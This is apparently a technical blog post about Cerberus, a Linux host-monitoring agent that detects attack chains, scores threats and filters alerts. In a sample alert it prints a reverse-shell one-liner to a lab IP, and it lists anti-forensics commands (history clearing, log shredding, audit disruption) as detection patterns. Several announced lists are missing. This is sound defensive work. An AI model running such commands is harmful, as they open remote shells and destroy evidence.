Building Cerberus: A Real-Time Host Behavioral Forensics Agent

How we built an edge-analysis security agent that captures every command, detects attack chains in real time, and reduces log volume by 90%+ before it ever leaves the host.

The Problem

Traditional SIEM and log-forwarding approaches have a fundamental flaw: they ship everything off-host, then try to make sense of it centrally. This creates three problems:

1. Volume -- A single Linux server generates thousands of events per minute. Multiply by fleet size and you're drowning in noise.
2. Latency -- By the time logs reach the SIEM, get parsed, and trigger a rule, the attacker has moved on.
3. Cost -- Ingesting and storing raw logs at enterprise scale is expensive. Most of those logs are irrelevant.

Cerberus takes a different approach: analyze on the host, forward only what matters.

Architecture Overview

                         +------------------------------------------+
                         |              CERBERUS ENGINE              |
                         |                                          |
  +------------------+   |   +------------+    +----------------+   |
  | Exec Collector   |---+-->|            |    |                |   |
  | (audit/procfs)   |   |   |   Event    |    |   7 Detectors  |   |
  +------------------+   |   |   Queue    |--->|   (rule-based)  |   |
  | File Collector   |---+-->|            |    |                |   |
  | (stat polling)   |   |   +------------+    +-------+--------+   |
  +------------------+   |                             |            |
  | Network Collector|---+                             v            |
  | (/proc/net)      |   |                     +-------+--------+   |
  +------------------+   |                     | Local Analyzer  |   |
  | Auth Collector   |---+                     | (statistical ML)|   |
  | (log tailing)    |   |                     +-------+--------+   |
  +------------------+   |                             |            |
                         |                             v            |
                         |                     +-------+--------+   |
                         |                     |  Smart Filter   |   |
                         |                     | (dedup + rate)  |   |
                         |                     +-------+--------+   |
                         |                             |            |
                         |              +--------------+------+     |
                         |              |              |      |     |
                         |              v              v      v     |
                         |         +--------+    +------+ +-----+  |
                         |         |Terminal |    |AI    | |Fwd  |  |
                         |         |Display  |    |API   | |Queue|  |
                         |         +--------+    +------+ +-----+  |
                         +------------------------------------------+

The pipeline flows in one direction: Collectors (daemon threads) emit events into a shared queue. The Engine pulls events and runs them through Detectors (rule-based pattern matching), then the Local Analyzer (statistical ML), and finally the Smart Filter (dedup, rate limiting, severity gating). Only alerts that survive all three stages are candidates for forwarding.

Design constraints we set for ourselves:

• Pure Python stdlib + PyYAML only -- no pip install sprawl
• Daemon threads with a shared queue -- simple, no async complexity
• First poll snapshots existing state silently -- no false positives on startup
• Every alert carries a MITRE ATT&CK technique ID
• Thread-safe everything -- collectors run concurrently

The Collectors: Seeing Everything

The Exec Collector -- Capturing Every Command

This was the hardest problem to solve. Our first attempt used /proc polling -- scan /proc/*/cmdline every second. It worked for long-running processes but completely missed short-lived commands like whoami, id, or cat /etc/passwd that execute in under a millisecond.

The solution: a three-tier fallback strategy.

+-----------------------+
|   Tier 1: Audit       |  <-- Primary (kernel-level, catches everything)
|   auditctl + execve   |
+-----------+-----------+
            | fails?
            v
+-----------+-----------+
|   Tier 2: Proc        |  <-- Netlink CN_PROC (kernel notifications)
|   Connector           |
+-----------+-----------+
            | fails?
            v
+-----------+-----------+
|   Tier 3: /proc       |  <-- Fallback (polling, misses fast commands)
|   Polling              |
+-----------------------+

Tier 1 -- Linux Audit Subsystem is the primary method. On startup, Cerberus installs an audit rule:

auditctl -a always,exit -F arch=b64 -S execve -k cerberus_exec

This tells the kernel to log every execve syscall -- the exact point where any program begins execution. There is no window to miss. A command that runs for 1 microsecond still triggers an audit record.

The collector then tails /var/log/audit/audit.log, parsing SYSCALL and EXECVE records in real time. One subtlety we discovered: most simple commands only generate a SYSCALL record, not a separate EXECVE line. Our parser handles both cases, falling back to the comm and exe fields from SYSCALL when EXECVE arguments aren't present.

On shutdown, Cerberus cleans up after itself:

auditctl -d always,exit -F arch=b64 -S execve -k cerberus_exec

Tier 2 -- Proc Connector uses the Netlink CN_PROC interface to receive kernel notifications for process fork/exec/exit events. We added a validation step: before accepting this method, Cerberus spawns /bin/true and checks if the socket actually receives a notification. In environments where the connector kernel module isn't loaded, the socket opens successfully but never delivers events -- a silent failure that our validation catches.

Tier 3 -- /proc Polling is the last resort. It diffs the PID list every second and reads /proc/{pid}/cmdline for new processes. Adequate for long-running processes but has a fundamental gap for sub-second commands.

Every event includes full context:

pid, ppid, uid, username, command name, full cmdline,
executable path, parent cmdline, parent name, cwd

File Collector -- Watching Critical Paths

Polls stat() on configured paths at 2-second intervals. Tracks mtime, size, mode, uid, and gid for each file. Emits five event types:

Default watch list covers the critical attack surface:

/etc/passwd, /etc/shadow, /etc/sudoers, /etc/crontab,
/etc/ssh/sshd_config, /var/spool/cron/, /etc/systemd/system/,
/etc/cron.d/, /tmp/, /dev/shm/, /var/log/

For log files under /var/log/, the collector also tails new content (up to 4KB per cycle), feeding the raw log lines into the event stream for the auth detector to parse.

Network Collector -- Mapping Connections

Parses /proc/net/tcp, /proc/net/tcp6, /proc/net/udp, and /proc/net/udp6 every 3 seconds. Decodes little-endian hex addresses, maps TCP state codes, and resolves PIDs by scanning /proc/*/fd/ socket symlinks.

TCP State Map:
01=ESTABLISHED  02=SYN_SENT   03=SYN_RECV    04=FIN_WAIT1
05=FIN_WAIT2    06=TIME_WAIT  07=CLOSE       08=CLOSE_WAIT
09=LAST_ACK     0A=LISTEN     0B=CLOSING

Events are classified by state transition: port_opened (new LISTEN), connection_outbound (SYN_SENT or ephemeral-to-well-known), connection_new, connection_closed, port_closed.

Auth Collector -- Parsing Authentication Logs

Tails /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS) with 11 pre-compiled regex patterns covering:

• Failed/successful password authentication
• Public key authentication
• sudo command execution
• Session open/close
• User creation (useradd)
• Password changes
• PAM authentication failures
• su user switching

Handles log rotation automatically by tracking file inode and size -- detects both logrotate (inode change) and copytruncate (size decrease) strategies.

The Detectors: Understanding Intent

Cerberus runs 7 detectors in sequence on every event. The first 6 are domain-specific pattern matchers. The 7th -- the Behavior Detector -- is a cross-cutting analysis engine that sees everything.

Process Detector

The heaviest rule set, with pre-compiled regex patterns for:

All patterns are compiled at import time -- zero regex compilation overhead during event processing.

Auth Detector

Uses a sliding window algorithm for brute force detection:

• Tracks failed logins per source IP within a configurable window (default: 5 failures in 60 seconds)
• Detects post-brute-force success -- a successful login from an IP that was just brute-forcing
• Flags new user creation, privilege changes, and direct root SSH access

Filesystem Detector

Maps file operations to attack techniques:

A _normalize_perms() helper handles the format mismatch between Python's oct() output (0o755) and traditional Unix notation (0755).

Network Detector

Flags suspicious network patterns: known backdoor ports, C2 beaconing intervals, lateral movement (SMB/WinRM/SSH to internal IPs), and connections on non-standard ports.

Persistence Detector

Watches for persistence mechanism installation: cron jobs, systemd services, SSH authorized keys, shell profile modifications, init scripts, LD_PRELOAD hijacking, PAM module backdoors, and udev rules.

Anti-Forensics Detector

Detects evidence destruction:

• History clearing (12 patterns): history -c, unset HISTFILE, export HISTSIZE=0, shred ~/.bash_history
• Log destruction (7 patterns): rm /var/log/*, > /var/log/auth.log, shred on log files
• Timestomping: touch -t on system files
• Secure deletion: shred, wipe, srm
• Audit disruption: auditctl -D, service auditd stop

The Behavior Detector: Seeing the Kill Chain

This is the most sophisticated component -- a cross-cutting detector (~650 LOC) that analyzes ALL events regardless of source and maintains a per-user behavioral model.

Per-User Session Tracking

Every user gets a UserSession object that accumulates:

+--------------------------------------------------+
|                   UserSession                     |
+--------------------------------------------------+
| Identity:  uid, username, first_seen, last_seen   |
| Events:    rolling window (maxlen=500)            |
|                                                   |
| Counters:                                         |
|   recon_commands, file_access_sensitive,          |
|   network_connections, privilege_changes,          |
|   persistence_attempts, file_drops,               |
|   evasion_actions, download_actions,              |
|   lateral_movement                                |
|                                                   |
| Timelines (bounded deques):                       |
|   command_timestamps, lolbin_timestamps,          |
|   env_probe_timestamps, cred_hunt_timestamps,     |
|   evasion_timestamps, recon_timestamps            |
|                                                   |
| State Machine:                                    |
|   attack_phase, phase_history, threat_score,      |
|   last_score_decay                                |
|                                                   |
| Dedup: _fired_alerts, _score_alert_level,         |
|        _chain_alert_length                        |
+--------------------------------------------------+

Attack Phase State Machine

The kill chain is modeled as a directed state machine:

  none --> recon --> exploitation --> privilege_escalation
                                          |
                                          v
              anti_forensics <-- exfiltration <-- lateral_movement
                    ^                                    |
                    |                                    v
                    +------------- persistence <---------+

Phase transitions are driven by behavioral signals:

• Recon: whoami, id, uname, cat /etc/passwd, network scanning
• Exploitation: Reverse shells, encoded execution, offensive tool usage
• Privilege Escalation: sudo -l enumeration, SUID searches, capability checks
• Persistence: Cron modification, systemd unit creation, SSH key injection
• Lateral Movement: SSH/SCP to internal IPs, SMB connections
• Exfiltration: Archive creation + network transfer
• Anti-forensics: History clearing, log deletion, timestomping

Alert escalation by phase count:

• 2+ phases reached = HIGH alert
• 3+ phases reached = CRITICAL alert
• Anti-forensics after any other phase = CRITICAL alert

Cumulative Threat Scoring

Every suspicious action adds to a per-user threat score (0-100):

Score Weights:
  +-------------------------------+--------+
  | Action                        | Points |
  +-------------------------------+--------+
  | Recon command                  |    2   |
  | Download action                |    3   |
  | Sensitive file access          |    5   |
  | File drop in /tmp             |    5   |
  | Privilege change               |    8   |
  | Lateral movement               |   10   |
  | Attack chain phase advance     |   10   |
  | Persistence attempt            |   15   |
  | Evasion action                 |   20   |
  | Offensive tool                 |   25   |
  | Reverse shell                  |   40   |
  +-------------------------------+--------+

Score Thresholds:
  0----25----50----75----100
  |  OK  | MED | HIGH | CRIT |

The score decays by 1 point every 5 minutes of inactivity, preventing stale sessions from staying hot forever.

LOLBin Chain Detection

Cerberus tracks 32+ legitimate Linux binaries commonly abused by attackers ("Living Off the Land Binaries"):

curl, wget, base64, xxd, openssl, nc, ncat, socat, nmap,
python, python3, perl, ruby, php, awk, sed, xargs,
crontab, at, ssh, scp, find, locate, chmod, chown,
chattr, dd, tar, zip, gzip, strace, ltrace, gdb, ...

Any single use is normal. But 3+ LOLBins within a 10-minute window triggers an alert -- that's an attacker using the system's own tools against it.

12 Detection Categories

1. Attack chain progression
2. LOLBin abuse sequences
3. Command cadence anomalies (burst detection)
4. Process lineage depth analysis
5. Filesystem traversal breadth
6. Environment probing
7. Credential hunting
8. Privilege escalation preparation
9. Data staging and exfiltration
10. Defensive evasion sequences
11. Cumulative threat scoring
12. Session anomalies (unusual hours, user switching)

Local Analyzer: On-Host ML Without the ML Infrastructure

The Local Analyzer provides 8 statistical anomaly detection methods that learn what "normal" looks like for each user -- no training data needed, no GPU required, no model files to deploy.

How It Works

Training Phase (first 200 events):
  Events --> Build UserBaseline --> Store frequencies, histograms, transitions

Detection Phase (event 201+):
  Event --> Run 8 anomaly checks --> Score [0.0 - 1.0] --> Enrich alerts

                    +-------------------+
                    |   UserBaseline    |
                    +-------------------+
                    | command_counts    |  <-- frequency table
                    | hourly_activity   |  <-- 24-slot histogram
                    | command_transitions| <-- Markov chain (prev->curr)
                    | normal_dest_ips   |  <-- IP set
                    | normal_ports      |  <-- port set
                    | file_path_prefixes|  <-- directory prefixes
                    | command_rate      |  <-- events/min samples
                    | parent_child_pairs|  <-- process relationships
                    +-------------------+

The 8 Detection Methods

All scores are normalized to [0, 1] via sigmoid function, making them comparable across methods.

Continuous learning: After baseline establishment, the analyzer continues updating with a 0.01 decay factor -- old patterns slowly fade, new patterns are incorporated. The baseline evolves with the system.

Persistence: Baselines can be saved/loaded as JSON, surviving agent restarts without retraining.

Smart Filter: 90%+ Log Reduction at the Edge

The Smart Filter sits at the end of the pipeline and decides what's worth forwarding versus what can be dropped or deduplicated.

Alert arrives
    |
    v
[Suppression List] --match--> DROP (known noise)
    |
    v
[Severity Check]
    |
    +-- CRITICAL/HIGH --> ALWAYS FORWARD
    |
    +-- MEDIUM --> [Dedup Check]
    |                 |
    |                 +-- duplicate in last 300s --> INCREMENT COUNT, DROP
    |                 +-- new --> [Rate Limit Check]
    |                              |
    |                              +-- > 10/category/min --> DROP
    |                              +-- under limit --> FORWARD
    |
    +-- LOW --> [Anomaly Score Check]
    |              |
    |              +-- score > 0.5 --> FORWARD
    |              +-- score <= 0.5 --> DROP
    |
    +-- INFO --> DROP

Deduplication hashes alerts by category|title|username and suppresses repeats within a 300-second window, tracking count for the forwarded summary.

Rate limiting caps each alert category at 10 per minute. If an attacker triggers 50 recon alerts in rapid succession, only the first 10 are forwarded -- enough to tell the story without flooding the downstream system.

Compact forwarding payloads strip raw event data and include only actionable fields: severity, title, category, MITRE mapping, user context, threat score, attack phase, and a truncated cmdline (500 char max).

Result: In sustained operation, the filter achieves 90-95% log reduction -- for every 100 events processed, only 5-10 are forwarded. The ones that make it through are the ones that matter.

Claude API Integration: AI-Powered Triage

For alerts that cross the HIGH severity threshold, Cerberus can optionally send them to Claude for AI-powered triage. The integration is lightweight -- pure urllib, no SDK dependency.

python3 cerberus.py --api-key sk-ant-... --verbose

Claude receives the alert context and returns a structured assessment:

{
    "assessment": "true_positive",
    "context": "Initial exploitation via reverse shell",
    "risk": "Complete system compromise -- attacker has interactive shell",
    "response": "1. Isolate host\n2. Preserve logs\n3. Trace C2 destination",
    "related_techniques": ["T1059.004", "T1071.001"]
}

The AI analysis runs asynchronously in a background thread to avoid blocking the event loop. Rate limited to 10 requests per minute with a 30-second timeout per call.

This is the "expert second opinion" layer -- local detection handles the volume, AI handles the nuance.

Terminal Display: Real-Time Visibility

Cerberus uses ANSI-colored terminal output with severity-coded badges:

[2026-03-11 14:23:45] [ CRITICAL ] Reverse shell detected
  Category: reverse_shell
  MITRE:    T1059.004 (Command and Scripting Interpreter: Unix Shell)
  Details:  bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

[2026-03-11 14:24:10] [   HIGH   ] High threat score -- attacker
  Category: threat_score_high
  MITRE:    T1059 (Command and Scripting Interpreter)
  Details:  Threat score reached 67/100
  [User Profile] user=attacker | Score: 67/100 | Phase: persistence | Events: 84
  Recon Commands:      12
  Sensitive Files:      3
  Privilege Changes:    1
  Persistence Attempts: 2
  Evasion Actions:      0

A persistent status line updates in-place at the bottom of the terminal:

[Events: 1247 | Alerts: 23 | Runtime: 00:45:30]

On shutdown (Ctrl+C or SIGTERM), a session summary displays total event/alert counts by severity, plus the Smart Filter reduction stats.

Detection Coverage Summary

+---------------------+------------------------------------------+
|     Component       |           What It Catches                |
+---------------------+------------------------------------------+
| Process Detector    | Reverse shells (18), C2 tools (6),       |
|                     | encoded exec (9), offensive tools (28),  |
|                     | suspicious parent-child, download+exec,  |
|                     | recon commands (22)                      |
+---------------------+------------------------------------------+
| Auth Detector       | Brute force (sliding window), post-brute |
|                     | success, user creation, privilege changes,|
|                     | root SSH                                 |
+---------------------+------------------------------------------+
| Filesystem Detector | /etc/passwd & shadow, SUID changes,      |
|                     | executable drops in /tmp & /dev/shm,     |
|                     | cron/systemd persistence, log tampering, |
|                     | shell profile modification               |
+---------------------+------------------------------------------+
| Network Detector    | Backdoor ports, C2 beaconing, lateral    |
|                     | movement, non-standard port connections  |
+---------------------+------------------------------------------+
| Persistence Det.    | Cron, systemd, SSH keys, shell profiles, |
|                     | init scripts, LD_PRELOAD, PAM, udev     |
+---------------------+------------------------------------------+
| Anti-Forensics Det. | History clearing (12), log destruction   |
|                     | (7), timestomping, secure deletion,      |
|                     | audit disruption                         |
+---------------------+------------------------------------------+
| Behavior Detector   | Attack chain progression, LOLBin abuse,  |
|                     | command burst, credential hunting,       |
|                     | privesc prep, data staging, evasion      |
|                     | sequences, cumulative threat scoring     |
+---------------------+------------------------------------------+
| Local Analyzer      | Command frequency anomalies, time-of-day,|
|                     | Markov sequence, network destination,    |
|                     | file access path, rate burst, entropy    |
|                     | (obfuscation), parent-child anomalies    |
+---------------------+------------------------------------------+

Lessons Learned

1. /proc Polling Has a Blind Spot

Our initial process collector missed every short-lived command. The Linux audit subsystem was the answer -- it hooks execve at the kernel level, so nothing escapes. The three-tier fallback ensures Cerberus works everywhere, degrading gracefully.

2. Format Mismatches Are Subtle

Python's oct() returns 0o755, but Unix convention is 0755. Our filesystem detector's SUID and executable checks silently failed until we added _normalize_perms(). Lesson: always verify data formats end-to-end between producers and consumers.

3. Event Type Names Must Be Exact

The behavior detector initially used file_create when collectors emitted file_created, login_failure instead of login_failed. These silent mismatches meant the behavioral model was blind to entire event categories. We now treat event type strings as a contract.

4. Proc Connector Can Silently Fail

The Netlink proc connector socket opens successfully even when the kernel module isn't loaded. Without our validation step (spawn a test process, verify event receipt), we would have happily "listened" on a dead socket. Always validate, don't just connect.

5. Edge Analysis Changes the Economics

By scoring, deduplicating, and filtering on-host, we reduce forwarded volume by 90-95%. For a 10,000-server fleet at $10/GB ingestion, that's the difference between $100K/month and $10K/month. The analysis cost is a few percent of one CPU core.

What's Next

• Alert delivery: Webhook, syslog, and Slack forwarding for the alerts that pass the Smart Filter
• Windows support: ETW-based collectors for process, file, network, and auth events
• Baseline sharing: Aggregate baselines across fleet for organization-wide anomaly detection
• Response actions: Automated kill, quarantine, or network isolation for CRITICAL alerts

Running Cerberus

# Install auditd for full process capture
apt-get install auditd
 
# Start with default config
python3 cerberus.py
 
# Verbose mode with AI analysis
python3 cerberus.py --verbose --api-key sk-ant-...
 
# Select specific detectors
python3 cerberus.py --detectors process,behavior,antiforensics
 
# Log alerts to file
python3 cerberus.py --log-file /var/log/cerberus-alerts.json

Requirements: Python 3.8+, PyYAML, Linux (kernel 2.6.37+ for audit). No other dependencies.

By the Numbers

Cerberus is built for authorized security monitoring, penetration testing labs, and educational environments. Deploy responsibly.